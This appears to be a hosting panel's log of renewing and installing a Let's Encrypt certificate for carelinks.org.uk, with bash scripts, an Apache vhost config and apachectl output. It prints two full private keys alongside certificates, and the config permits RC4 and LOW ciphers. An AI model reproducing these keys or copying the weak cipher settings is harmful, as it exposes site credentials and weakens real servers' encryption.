HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbcv5b
qQAABAMARjBEAiAqBvVlUZbNK58NWalf8UlBL9cwgxZTEvP65a20e45xxQIgLlE/
fsNQ6kKoNOBAYZYH2dWZmxOqKK9dflPTV3EZBU0AfwBxfpXzwjiKbbHjhEk9MeFa
qWIIdi1CAOAFDNBntaZh4gAAAZty/lu8AAgAAAUABaLUnAQDAEgwRgIhAPxJAhxg
6Ezj7D69r321JClieRUA4SDIsKWkMu0IkCK1AiEAjAEMOvRWtmz6BxMhsCFky/5b
LN/MZuU6+dYY3OyttAswDQYJKoZIhvcNAQELBQADggEBAIaDOrBCXSqVbfIdi7rw
+n5tCa+k1y+geqjVQurWy459zlAQ8kYWwomrSIp/LDQZMp4PIc73N2VoOfbaAqif
VHKKRywc/ptRcUP4lxb/BVtLd91CouFhCHZE6CkJ+Zq5QLhxJLymkbNPxrskA29B
eWsRbbsGTXOdoF8gAOM5sHBBCKkBltvnndxK9IlN5Dnx+WlClk+Ozo4o6sEGRP1T
AR480UPAlJGaWAJDkBkWKuN1+cwvvHcKfPbPS24JJezSam/+5iejvomoFlpFmpTa
iSN0e/02j45iyxHDm0fc6/dDDOBmsRdITwOJcDUiYhRUpSj5R9jzDhmY1HmZJM5+
Omo=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDC7wNn7d0vyTYo
vzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlDDNr4jV8NRnYiOaT3F15RcHbE
mGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSHmymdw88ErmeBwXE3LqASSLYX
zLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+20BDyxkVLklbnYtIAsLQur62T
LIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W1XK/H3oZofQYG68darmQzGYN
Boznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2UadV6MdBp1lSvcq63SXvBigX
/HK5w0fxAgMBAAECggEABTjJCafD+P5QnVhRa1l0XFW6zBZqXHGFY4Gh5yKG4cc1
DgOUXO6MBIFhEe9FjdHmoxA8v01os9FJroavk2ht0i+XpuKjIZt8r0SIlLQu9Dl0
YkREVR6U3bIWHrlf/7iFTM2dW7SmdJRD49DSoh37SjjSqclXbaB+bGmMybg1CBL4
CdezqIdp5Puj6VZdR6M6R4ljeMwuU4v226kayq7lcWIjo9LgMFQGwLSD/KyQV4JN
5xH8AHDZ7lgkDzMQynBo+VS2CnM/yJlvnYenVQY5EfDS2x0hT6c++s30X998wGsa
WwBimJcRCDhlC8ekLRhO/XJKQ/10dVsiGMTIGf9qvQKBgQD1z4c/mGcIVH05DTU1
hu8e4zKZEQE4Qbjd0lfQsHapU/M5wFqKuukJxzY1wosW1cnND/KBmHkvOm7ULB3W
Egr4GWwFAhDNLwJ8YWuD61ERriBrPmQ5EtuXgfh3PRV61ekKaTqiyj1xHnJ6QZxI
Znle071yJXWhzG2jk3hEbPvAlQKBgQDLA5fEUdzDA113mQTvcbzPbK5CN6NEBNYW
tpF1iIBfdT/ZejbPjwRJJemkqKFishw0OQi7l0O1OfML49VfnWc3biB2kn4vuXrY
xbRnV1jHiXcPuuP8nI+90WgMu1Of63U1ziO2d1Lf4W8Gjqa9krihFUbw2izX08Q1
vYNvKVSG7QKBgQCAXkViR8OezQisL6KW9oWP2tSErSW27FOPvBZSDKWbXhUKFtLx
2hRzH87GmncqkLEXXvmlBixbJqfUM8nNDpUd5aDMqLx/espQjEuqk8w9cHLLrsSG
LbvxzlUkaAj8ohNWdYfCld0qYt0jzXnBMYq2o9subjOVMH4dS5kmGsgKVQKBgQC6
M+tpp2QCgf2iinkaXYm9/oK+PWXEJ2Ntpbo4wSBtbY9Im23WZeiaZumrmvebHJ39
0CoQVSdG+4XO7ANzFV3sW1fvKWIPx+HDHWLgPh8xtQW9Kb+enMLCaWUz+EU1MrNo
zE+5NiyPJ6e7re+FhSNOq8NLefETbCpU2CPLO29J6QKBgQDWHYINhn9E9I+57RjI
FI6Hl4bp20tlRgQdgZDBVg4NjdzInh5KX4BzXQgfrUnSU0JqSbH04HF1i1fw5SnP
K0peFVSPwrihyY7gYC+I2XWPZ4hZ37+maEeqdXmrbn0dzMgoj1Tk4SLo/yo7BdLi
kzB3wp/TJISw2PQI3BIuy+upaQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-31 06:00:33: Establishing a connection
2025-12-31 06:00:33: Establishing a connection
2025-12-31 06:00:33:
PUT: /tmp/pkp393011
#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:00:33:
chmod 755 /tmp/pkp393011; /tmp/pkp393011; rm /tmp/pkp393011
2025-12-31 06:00:33:
1
2025-12-31 06:00:34: Establishing a connection
2025-12-31 06:00:34:
PUT: /tmp/pkp556597
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw
cat > 0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8
2025-12-31 06:00:34:
chmod 755 /tmp/pkp556597; /tmp/pkp556597; rm /tmp/pkp556597
2025-12-31 06:00:34:
2025-12-31 06:00:45: Establishing a connection
2025-12-31 06:00:45:
PUT: /tmp/pkp858424
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw
rm 0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8
2025-12-31 06:00:45:
chmod 755 /tmp/pkp858424; /tmp/pkp858424; rm /tmp/pkp858424
2025-12-31 06:00:45:
2025-12-31 06:00:45: Establishing a connection
2025-12-31 06:00:45:
PUT: /tmp/pkp764830
#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt
cat > $temp_file <<'endmsg'
9e:e9:54:a9:b2:0e:08:41:75:66:fa:c9:e3:49:ec:a4
-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBu3kdLRcg0/v9zKApzpKjKfAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjE0WhcNMjYwMzMxMDUwMjEzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwER144zM2Q9cwDE11JnyJdSFu6JsKTdTVcnZnZl6315KnSViPEoaQcikZiBi
TpMiWOfEkF3fFNPigbzXeX2Odiu0XkJWH2lE+TKLzJaHSFkXgzCFJX96IgkigdpJ
zOKksYZX417HnNBys8l0Bz5qrOHYUXRpGVAFO6Tj93aUXBKyFMyuef+FDJirUffv
tfzU1CKMpQsgL2qe6F7SpVSBLHiMBH00scUn2loo8vp5oW/SrfvwLjRtchrAXUrX
+II5J+No8GR1EZcEsPfmqxukR8D/r/0jSsJQGzjuGTYjmNRcGy9mOl7/jEC44Xgn
GFv3pqUcVGIAgSrg7jQBVzse6wIDAQABo4ICPjCCAjowDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT1RzC+yK3Oe4KyEqDMJYk2g2Gf7jAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjUuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGbcv6ROwAABAMARzBFAiEAiavGIIZxMuP4LJUBsJZddvcZOyCxEhEQ
TvTBh5OPiYwCIFA0I3mS1gWB7tJKmWZVYlzwZ/k3VLAv7JqM5O6xKVJQAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGbcv6SHgAIAAAFAC1f0d4E
AwBHMEUCIQCYIj0xw1WzU1pCY1NtWeZbnXCf/cl8LtHrfxM9k/tkSgIgA5bncTFQ
hnqCYjD31GNQrRpwtiIw6veekZ5ZV05BI1cwDQYJKoZIhvcNAQELBQADggEBAGfS
FDge69ag2iI2YVKnZNTZz7OKNAdzqdiDhEKcvWEkuu+LZveomQeHHXfH7GmhSN+x
qPkysCQI6vUXsJzoA10ueaQBZBfB3ObRjGaLWlxz1sHb0r3h9P84k2WSlOJvZgzA
YOpNx4IZR9mybTMr9uKpPB0i+SPigTn+2Gbg6fazFkz+kQLisj5xlcffHcDdsBt9
QKFahOy59x27mFA44cma9ShrEK6Q4nBKcm510sXcVYFflMV0R6b3ogWkHubmZuS9
6imrW40+0MCcZjUxS3BEM+VlABec6i+7kd31LuHmH0VAB2lSc2oVBmrBeVVBzavN
/olrs+9An8FpInsfPRQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDARHXjjMzZD1zA
MTXUmfIl1IW7omwpN1NVydmdmXrfXkqdJWI8ShpByKRmIGJOkyJY58SQXd8U0+KB
vNd5fY52K7ReQlYfaUT5MovMlodIWReDMIUlf3oiCSKB2knM4qSxhlfjXsec0HKz
yXQHPmqs4dhRdGkZUAU7pOP3dpRcErIUzK55/4UMmKtR9++1/NTUIoylCyAvap7o
XtKlVIEseIwEfTSxxSfaWijy+nmhb9Kt+/AuNG1yGsBdStf4gjkn42jwZHURlwSw
9+arG6RHwP+v/SNKwlAbOO4ZNiOY1FwbL2Y6Xv+MQLjheCcYW/empRxUYgCBKuDu
NAFXOx7rAgMBAAECggEAGSB5UFPaK53fLxDfVO8KNIPJ4cPazdIjVnQAOCFS67aC
Gs0ZbFak3XxaxoFXR6c2lxbcW0pL+V1YM0CvilBB2ii2XuvddH0d8fv3RYqrQxBo
SxFVZ+6j0qc4oW7FM/0ErVyox21fZJuLT1ALFVfvZLOelm/tEk1LucfqsQWyuDYm
P3G2oHdDo/w+5eSV6YE4vUFksi3Tlw4HeWcWGVPTKWDsrOoyHiKn8Lx39qLLgrRB
9cvTZIdf62VAzE7yP8URZu1WSlvdIqk6Bid/Gwr3nwMfdXiqjzyfBKHN6gJxkGJD
o6L2MNGXwaSmzwowHPCFoeQnECSgml2xePXjtrKafQKBgQD4gptmkh2ERpN3DSs+
TC4ygKTrcUl+z3TlduUckd4RijNLyoe02CUlCH5+CItxRiErehzXG7iIVcrmqakZ
n91kFJOjs1CQVL2q1+bu+I4gDP7MnwdYuVFxjnS7jwRXANbB+6h2xjGw/f7RYnga
NU0hIlsW29SXgTghiDo50Xb1jQKBgQDGD+jbKW3byuQI/UYromoIes/F3qFDBEeb
M7JY3Nn9KQuggX0h/JUxlJO3naEl89OAt9Nnyn3fzA7YNJLRIWSwXv67qwRqcsgV
iysQPZ4FSzDMDb5FMseoBMD5EpIETaFaFSCg0heABqff0txY+OX2MUMX45i2B9he
r4xaZItcVwKBgEDuv3QZkaTSXA2rXzUz6o4/ltf+DdoYks6yNkM0yfWDSsvu626R
W4NFqOd9jBHY5SnbClYaZCkbYZzLj+emIc7YoYsQe2h6++P77ddbEqfFPX5xvxWr
tmAZfN7VC6lACt08yFPgjXNVqpNDS2Ztru2NcIeUgQPlO6lnUu9wj8ixAoGAIjaz
WdCRSquEsszVp0n6GRbl919a6hG+MOBASbt06JeDi6lyrUFNoG/zCH/xS3YQLicT
HNXM4rEES3LhfcDP/OucA10qeRz01UviF38dYfq4Jjeli5yXAr43e48qrBWg7sfB
iCZiqtn7e92X9MKiLuIZnfHR+nfmd4zJqP+/VycCgYBe3NoREsC6SxzuAcy1lwOp
n1JNuk/lBR9DKCnl26DwNFHviN8hNo/JMIql5YJbYZxaHESOUs4DdUYiRW2Tdtlo
sL18lGquZcEVSK3RqZpnikDjsBX5D7iA7kLHxwVSxBWw4Atd2eyXgUSnuynwLFDU
rJUoihz8JvkuSNDmOZ5Y+g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 06:00:45:
chmod 755 /tmp/pkp764830; /tmp/pkp764830; rm /tmp/pkp764830
2025-12-31 06:00:45:
dir=/etc/ssl/certs
2025-12-31 06:00:45:
PUT: /tmp/pkp741024
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 06:00:45:
chmod 755 /tmp/pkp741024; /tmp/pkp741024; rm /tmp/pkp741024
2025-12-31 06:00:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:00:45:
PUT: /tmp/pkp541610
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi
2025-12-31 06:00:45:
chmod 755 /tmp/pkp541610; /tmp/pkp541610; rm /tmp/pkp541610
2025-12-31 06:00:46:
2025-12-31 06:00:46:
PUT: /tmp/pkp276471
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 06:00:46:
chmod 755 /tmp/pkp276471; /tmp/pkp276471; rm /tmp/pkp276471
2025-12-31 06:00:46:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:00:46: Establishing a connection
2025-12-31 06:00:46:
PUT: /tmp/pkp395747
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-31 06:00:46:
chmod 755 /tmp/pkp395747; /tmp/pkp395747; rm /tmp/pkp395747
2025-12-31 06:00:46:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
